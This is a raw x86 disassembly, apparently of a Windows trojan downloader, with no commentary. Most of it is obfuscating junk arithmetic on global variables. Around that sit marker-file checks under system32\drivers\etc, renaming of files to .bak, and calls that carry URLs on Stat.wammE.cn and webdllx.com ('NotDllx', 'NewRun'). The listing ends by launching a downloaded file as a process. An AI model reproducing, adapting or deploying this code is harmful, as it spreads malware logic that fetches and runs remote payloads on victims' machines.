mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0044235a
mov edi, dword [0x44c2e0]
add esp, 0x2c
push 0x2710
call edi
jmp 0x4035b2
mov edi, dword [0x44c2e0]
push 0x3e8
call edi
jmp 0x4035b2
mov edi, dword [0x44c2e0]
mov ecx, dword [0x45ccd0]
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x7f411e53
imul ecx
sar edx, 8
mov ebx, edx
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x71625345
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr ebx, 0x1f
add ebx, esi
sub ebx, eax
add ebx, edx
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
mov ecx, dword [0x45cce0]
imul ecx, ecx, 0x61
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
lea edx, [ebp - 0xfa4]
add eax, ebx
push edx
add eax, ecx
push 0x101
mov dword [0x45ccc8], eax
call dword [0x44c5cc]
test eax, eax
je 0x403644
push 0
call fcn.0043023a
push 0x3e8
call edi
push 0x413c
lea eax, [ebp - 0x314]
push 0x44cb00
push eax
call fcn.0042fcd1
add esp, 0xc
lea ecx, [ebp - 0x314]
push ecx
push 0
push 0
call dword [0x44c304]
mov dword [0x55f5c0], eax
call dword [0x44c308]
cmp eax, 0xb7
jne 0x403725
mov edx, dword [0x45ccd4]
mov eax, dword [0x45ccc8]
mov ecx, dword [0x45cce4]
lea edi, [eax + edx]
mov eax, 0x4f576647
imul edi, edi, 0x9c
imul ecx
sar edx, 8
mov ecx, edx
mov esi, dword [0x45ccc4]
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45ccd8]
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
lea edx, [esi + esi*8]
shl edx, 6
add edi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x59493e15
imul esi
mov eax, dword [0x45ccb8]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
cmp eax, 0xffffffff
mov dword [0x45cce4], ecx
je 0x40371e
push eax
call dword [0x44c5c8]
push 0
call fcn.0043023a
mov ecx, dword [0x45ccd4]
mov eax, 0x71625345
imul ecx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x38e38e39
imul ecx
mov eax, dword [0x45cce8]
mov ecx, dword [0x45cce4]
imul eax, eax, 0x21e
sar edx, 7
imul ecx, ecx, 0xe1
mov ebx, edx
add esi, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x203
shr ebx, 0x1f
add ebx, esi
add ebx, edx
sub ebx, eax
add ebx, ecx
mov ecx, dword [0x45cccc]
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x45ccc4]
add eax, ebx
sub eax, edx
add eax, 0x16f
push 0
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [0x45cccc], eax
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
jne 0x4037d4
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
je 0x4037d4
push 0xea60
call edi
mov edx, dword [0x45ccdc]
mov ecx, dword [0x45ccd8]
mov eax, 0x4f576647
imul edx
mov esi, ecx
sar edx, 8
imul esi, esi, 0x33a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
sub esi, eax
imul edx, edx, 0x242
mov eax, dword [0x45cce8]
imul eax, eax, 0x21e
add esi, edx
mov edx, dword [0x45ccd0]
add esi, eax
mov eax, 0x59493e15
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add esi, edx
mov edx, dword [0x45cce4]
add ecx, esi
sub ecx, edx
sub ecx, 0xe1
push 0
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [0x45ccd0], ecx
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
je 0x4042c9
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
je 0x4042c9
mov esi, dword [0x45cce8]
mov eax, 0x38e38e39
imul dword [0x45ccd4]
mov eax, dword [0x45ccc8]
lea edi, [eax + eax*8]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xf1d48bd
imul esi
sar edx, 5
mov ebx, edx
shl edi, 6
add edi, edx
mov eax, 0x7f411e53
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul esi, esi, 0x21e
imul edx, edx, 0xe1
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45cce0]
sub ebx, eax
sub ebx, edx
mov eax, 0xd20d20d3
imul edi
add edx, edi
imul edi, edi, 0x9c
sar edx, 7
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
sub eax, ecx
mov dword [0x45ccd8], eax
mov edi, dword [0x45cccc]
mov eax, 0x4f576647
imul dword [0x45ccd4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4f576647
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x242
sub eax, ebx
add eax, edx
mov edx, edi
imul edx, edx, 0x203
add eax, esi
add eax, edx
mov ebx, eax
mov eax, 0x93459be7
imul edi
add edx, edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
push str.C:_WINDoWS_system32driverSetc_serViCe5.ini
sub ebx, eax
add ebx, ecx
push 0x200
lea ecx, [ebp - 0xc14]
push ecx
push 0x44ce59
mov dword [0x45ccc4], ebx
push str.ConfigL0
push str.GameType1
call dword [0x44c2d0]
mov edi, 0x44ce59
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403d92
mov ecx, dword [0x45ccd4]
mov eax, 0x71625345
imul ecx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x38e38e39
imul ecx
mov eax, dword [0x45cce0]
mov ecx, dword [0x45cce8]
imul eax, eax, 0x203
sar edx, 7
imul ecx, ecx, 0x21e
mov edi, edx
add esi, edx
mov edx, dword [0x45cce4]
imul edx, edx, 0xe1
shr edi, 0x1f
add edi, esi
add edi, eax
sub edi, ecx
mov ecx, dword [0x45cccc]
add edi, edx
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x45ccc4]
add eax, edi
lea ecx, [ebp - 0xc14]
push ecx
sub eax, edx
lea edx, [ebp - 0x14c8]
add eax, 0x16f
push 0x12c
push edx
mov dword [0x45cccc], eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x403d92
mov esi, dword [0x45ccc4]
mov eax, dword [0x45ccd8]
mov ecx, dword [0x45ccdc]
lea edi, [eax + esi]
mov eax, 0x38e38e39
imul edi, edi, 0x242
imul ecx
sar edx, 7
add edi, edx
mov ebx, edx
mov edx, ecx
imul edx, edx, 0x203
shr ebx, 0x1f
add ebx, edi
add ebx, edx
lea eax, [esi + esi*8]
shl eax, 6
add ebx, eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cce0]
sub ebx, ecx
mov ecx, dword [ebp - 0x14c8]
lea eax, [ebx + edx - 0xe1]
mov dword [0x45ccd4], eax
mov eax, ecx
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403ad0
sub eax, esi
cmp byte [eax + ecx - 1], 0x5c
mov edx, dword [ebp - 0x14bc]
push edx
lea eax, [ebp - 0x614]
push ecx
jne 0x403af5
push str._s_s
jmp 0x403afa
push 0x44cd04
push eax
call fcn.0042fcd1
mov ecx, dword [0x45cccc]
mov edx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
lea edi, [edx + ecx]
mov eax, 0x4f576647
imul edi, edi, 0x1bd
imul esi
mov eax, dword [0x45cce0]
imul eax, eax, 0x25d
sar edx, 8
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x38e38e39
imul esi
sar edx, 7
mov esi, edx
add ebx, edx
mov eax, 0x71625345
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0xe1
shr esi, 0x1f
add esp, 0x10
lea eax, [ebp - 0x614]
add esi, ebx
push eax
sub esi, ecx
lea ecx, [ebp - 0x414]
add esi, edx
push str._s.bak
push ecx
mov dword [0x45ccdc], esi
call fcn.0042fcd1
add esp, 0xc
push 0
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
push eax
call dword [0x44c2e4]
mov edi, dword [0x44c2e8]
lea ecx, [ebp - 0x614]
push ecx
call edi
mov edx, dword [0x45ccd4]
mov eax, dword [0x45ccc8]
mov ecx, dword [0x45cce4]
lea ebx, [eax + edx]
mov eax, 0x4f576647
imul ebx, ebx, 0x9c
imul ecx
sar edx, 8
mov ecx, edx
mov esi, dword [0x45ccc4]
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45ccd8]
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [esi + esi*8]
shl edx, 6
add ebx, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x59493e15
imul esi
sar edx, 7
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
lea edx, [ebp - 0x614]
add ecx, ebx
push 0
push edx
mov dword [0x45cce4], ecx
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
je 0x403cd9
mov ecx, dword [0x45ccd0]
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x7f411e53
imul ecx
sar edx, 8
mov ebx, edx
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x71625345
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr ebx, 0x1f
add ebx, esi
sub ebx, eax
add ebx, edx
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
mov ecx, dword [0x45cce0]
imul ecx, ecx, 0x61
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
lea edx, [ebp - 0x414]
add eax, ecx
push edx
mov dword [0x45ccc8], eax
call edi
push 0
call fcn.0043023a
mov edx, dword [0x45ccdc]
mov ecx, dword [0x45ccd8]
mov eax, 0x4f576647
imul edx
mov esi, ecx
sar edx, 8
imul esi, esi, 0x33a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
sub esi, eax
imul edx, edx, 0x242
mov eax, dword [0x45cce8]
imul eax, eax, 0x21e
add esi, edx
mov edx, dword [0x45ccd0]
add esi, eax
mov eax, 0x59493e15
imul edx
sar edx, 7
mov eax, edx
mov ebx, dword [0x45cce4]
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
lea edx, [ebp - 0x614]
sub ecx, ebx
push edx
lea eax, [ebp - 0x414]
sub ecx, 0xe1
push eax
mov dword [0x45ccd0], ecx
call dword [0x44c2ec]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403d80
push 0x64
call dword [0x44c2e0]
mov ebx, dword [0x45ccd4]
mov edi, dword [0x45ccc8]
mov eax, 0x38e38e39
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [edi + edi*8]
shl ecx, 6
mov esi, ecx
mov ecx, dword [0x45cce8]
sub esi, eax
mov eax, 0xf1d48bd
imul ecx
sar edx, 5
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0xfa8], eax
mov esi, dword [0x45cce0]
mov eax, 0x7f411e53
imul ecx
imul ecx, ecx, 0xe1
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfa8]
sub edx, eax
sub edx, ecx
mov dword [ebp - 0xfa8], edx
mov eax, 0xd20d20d3
imul esi
mov eax, dword [ebp - 0xfa8]
add edx, esi
imul esi, esi, 0x9c
sar edx, 7
mov ecx, edx
add eax, edx
shr ecx, 0x1f
add ecx, eax
add ecx, esi
lea eax, [ebp - 0x814]
mov dword [0x45ccd8], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403e37
sub eax, esi
mov dword [ebp - 0xfa8], eax
jne 0x403e4f
push 0
call fcn.0043023a
mov edx, dword [0x45cce4]
mov eax, 0x4f576647
imul edx
sar edx, 8
add edi, ebx
mov eax, edx
imul edi, edi, 0x9c
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [0x45ccc4]
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
lea edx, [esi + esi*8]
shl edx, 6
add edi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x59493e15
imul esi
sar edx, 7
mov ecx, edx
add edi, edx
shr ecx, 0x1f
lea edx, [ebp - 0x814]
add ecx, edi
push 0
push edx
mov dword [0x45cce4], ecx
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
jne 0x404034
mov ecx, dword [0x45ccc8]
mov eax, 0x38e38e39
imul ecx
mov eax, dword [0x45ccd8]
imul eax, eax, 0x203
sar edx, 7
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45ccc4]
add esi, eax
mov eax, 0xd8a5df
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xd20d20d3
imul ecx
mov eax, dword [0x45ccd0]
add edx, ecx
imul eax, eax, 0x3d
push 0
sar edx, 7
push 0
mov ecx, edx
add esi, edx
mov edx, dword [0x45cce4]
push 0
imul edx, edx, 0xe1
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.webdllx.com_NotDllx
shr ecx, 0x1f
push 0x45ccbc
add ecx, esi
push 0
sub ecx, edx
sub ecx, eax
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x45cce8], ecx
call fcn.0044235a
mov edi, dword [0x44c2e0]
add esp, 0x2c
push 0x2710
call edi
mov esi, dword [0x45ccd4]
mov eax, 0x4f576647
imul esi
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x45cccc]
mov eax, 0x4f576647
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x242
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x38e38e39
imul esi
mov eax, dword [0x45cce8]
sar edx, 7
mov esi, edx
shr esi, 0x1f
add ebx, edx
add esi, ebx
imul eax, eax, 0x21e
mov edx, ecx
imul edx, edx, 0x203
add esi, eax
add esi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 0
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [0x45ccc4], esi
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
je 0x40402d
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
jne 0x40403a
push 0
call fcn.0043023a
mov edi, dword [0x44c2e0]
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x404046
mov ecx, dword [0x45ccd4]
mov eax, 0x71625345
imul ecx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x45cce0]
mov eax, dword [0x45cce4]
imul ecx, ecx, 0x203
sar edx, 7
imul eax, eax, 0xe1
add esi, edx
mov ebx, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0x21e
shr ebx, 0x1f
add ebx, esi
add ebx, ecx
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccc4]
sub ebx, edx
add ebx, eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
sub ecx, esi
add ecx, 0x16f
push 0x132b600
mov dword [0x45cccc], ecx
call fcn.004257b0
add esp, 4
push 0x1388
call edi
mov eax, dword [0x45ccc8]
mov ecx, dword [0x45ccd4]
lea edx, [eax + eax*8]
shl edx, 6
mov esi, edx
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x45cce8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xf1d48bd
imul ecx
sar edx, 5
add esi, edx
mov ebx, edx
mov eax, 0x7f411e53
imul ecx
imul ecx, ecx, 0xe1
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, esi
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x45cce0]
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
imul ecx, ecx, 0x9c
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
push 0
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45ccbc
push 0
push 0
mov dword [0x45ccd8], eax
mov eax, dword [ebp + 8]
push 1
add eax, 0x74
push 0x68
push eax
call fcn.0044235a
add esp, 0x2c
push 0x2710
call edi
mov esi, dword [0x45ccc4]
mov ecx, dword [0x45ccd8]
lea edi, [ecx + esi]
mov ecx, dword [0x45ccdc]
imul edi, edi, 0x242
mov eax, 0x38e38e39
imul ecx
sar edx, 7
add edi, edx
mov ebx, edx
mov edx, ecx
imul edx, edx, 0x203
shr ebx, 0x1f
add ebx, edi
add ebx, edx
lea eax, [esi + esi*8]
shl eax, 6
mov esi, dword [0x45cce0]
add ebx, eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebx + esi - 0xe1]
mov dword [0x45ccd4], edx
mov dword [ebp + 8], 0
jmp 0x404210
mov edi, dword [0x45cccc]
imul esi, esi, 0x25d
imul ecx, ecx, 0xe1
mov eax, dword [0x45ccd0]
lea ebx, [eax + edi]
mov eax, 0x4f576647
imul ebx, ebx, 0x1bd
imul dword [0x45cce4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, esi
mov ebx, eax
mov eax, 0x38e38e39
imul dword [0x45cce4]
sar edx, 7
mov esi, edx
add ebx, edx
mov eax, 0x71625345
imul edi
sar edx, 8
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
add esi, ecx
push 0x2710
mov byte [ebp - 4], 2
mov dword [0x45ccdc], esi
call dword [0x44c2e0]
mov eax, dword [ebp + 8]
cdq
mov ecx, 0x1e
idiv ecx
test edx, edx
jne 0x4042a4
push edx
call fcn.0040dfe0
add esp, 4
mov eax, dword [ebp + 8]
mov ecx, dword [0x45ccdc]
mov esi, dword [0x45cce0]
inc eax
mov dword [ebp - 4], 1
mov dword [ebp + 8], eax
jmp 0x404210
mov ecx, dword [0x45ccdc]
mov esi, dword [0x45ccc4]
mov edx, dword [0x45ccd8]
lea ebx, [edx + esi]
mov eax, 0x38e38e39
imul ebx, ebx, 0x242
imul ecx
sar edx, 7
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x203
shr eax, 0x1f
add eax, ebx
add eax, edx
lea edx, [esi + esi*8]
shl edx, 6
add eax, edx
mov ebx, eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
mov ecx, dword [0x45cce0]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebx + ecx - 0xe1]
push 0x493e0
mov dword [0x45ccd4], edx
call edi
push 0
call fcn.0043023a
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x1008]
rep stosd dword es:[edi], eax
push 0x200
lea eax, [ebp - 0xa14]
push eax
push 0
mov dword [ebp - 0x1008], 0x44
mov dword [ebp - 0xfdc], 1
mov word [ebp - 0xfd8], 5
call dword [0x44c2d8]
lea ecx, [ebp - 0x1018]
push ecx
lea edx, [ebp - 0x1008]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea eax, [ebp - 0xa14]
push eax
push 0
call dword [0x44c2dc]
mov eax, 0x40433a
ret